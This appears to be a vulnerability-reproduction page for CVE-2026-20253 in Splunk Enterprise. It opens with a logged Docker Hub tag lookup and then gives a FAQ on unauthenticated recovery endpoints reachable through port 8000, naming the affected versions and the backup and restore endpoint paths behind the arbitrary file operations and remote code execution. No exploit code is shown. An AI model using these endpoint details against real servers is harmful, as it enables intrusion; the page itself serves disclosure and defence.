$echo "=== splunk/splunk tags by name 10.x ==="; curl -sS -m 30 "https://hub.docker.com/v2/repositories/splunk/splunk/tags?page_size=100&name=10" 2>&1 | jq -r '.results[]?.name' 2>/dev/null | head -40; echo "=== name 9 ==="; curl -sS -m 30 "https://hub.docker.com/v2/repositories/splunk/splunk/tags?page_size=50&name=9" 2>&1 | jq -r '.results[]?.name' 2>/dev/null | head -40
0.4s
{"cwd":"/data/pruva/runs/b62e307f-d4bc-4620-8dec-d71751962348","duration_ms":425,"exit_code":0,"stderr":"","stdout":"=== splunk/splunk tags by name 10.x ===\n10.4-rhel9\n10.2-rhel9\n10.0-rhel9\n10.4.1-rhel9\n10.2.5-rhel9\n10.0.8-rhel9\n10.0\n10.0.8\n10.2\nsha256-461c82b0989c02168383020b7cfa12da414c0415c10e2301ff0ff04cd2621101.sig\n10.2.5\n10.4\n10.4.1\nsha256-cf924ed3c7ddb8433c9d3e7bf0bdb3c5c9e107b9302320b2b05a9665c698b8e9.sig\nsha256-457401d40520b6096570793dd8cffdec6649776f1521ded84bad64974e10d2dc.sig\n10.2.4-rhel9\n10.0.7-rhel9\nsha256-0f11c48c8948ba536d7704255d784ac156899e549725f070a0e2b10d5eaf3f2b.sig\nsha256-541d4ea893dff222d0f449cc1e6978a403cf538edced3286907277f9c0544107.sig\n10.2.4\n10.0.7\n10.4.0-rhel9\n10.4.0\n10.2.3\n10.0.6\nsha256-6a79a2772def4a024f4562b9223720517f5d906b4ea25d3a2b2f4cac6c10b969.sig\nsha256-bcae65ab3a06730cdb07da9f1ac8d14c50df8d8c3100aed2e1b6527da55739ef.sig\n10.2.3-rhel9\n10.0.6-rhel9\n10.2.2-rhel9\n10.0.5-rhel9\nsha256-184e80b079f149cae1134dd6330e077fd510f4ea87216a0d6ebd4399782d648c.sig\n10.2.2\n10.0.5\n9.4.10\n10.2.1-rhel9\n10.0.4-rhel9\nsha256-bd10b590d05299ee3f421d84d4c1700628a32a2e6110af816f060047269a9343.sig\n10.0.4\n10.2.1\n=== name 9 ===\n10.4-rh… [truncated]
08 · How to Fix

How to Fix CVE-2026-20253

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-20253 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-20253

Is CVE-2026-20253 exploitable without authentication?

Yes. The recovery endpoints are reachable through Splunk Web on port 8000 with no authentication, so a network attacker who can reach that port can invoke them directly. Pruva verified unauthenticated file operations and RCE with high confidence.

Which versions of Splunk Enterprise are affected by CVE-2026-20253?

Splunk Enterprise 10.0.0-10.0.6 and 10.2.0-10.2.3 are affected. Apply Splunk's advisory (SVD-2026-0603) guidance and restrict access to the sidecar/port 8000 until patched.

How can I reproduce CVE-2026-20253?

Download the verified script from this page and run it in an isolated environment against an affected Splunk Enterprise build. It calls the unauthenticated /v1/postgres/recovery/backup or /restore endpoints via port 8000 and shows the resulting arbitrary file operation.
11 · References

References for CVE-2026-20253

Authoritative sources for CVE-2026-20253 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.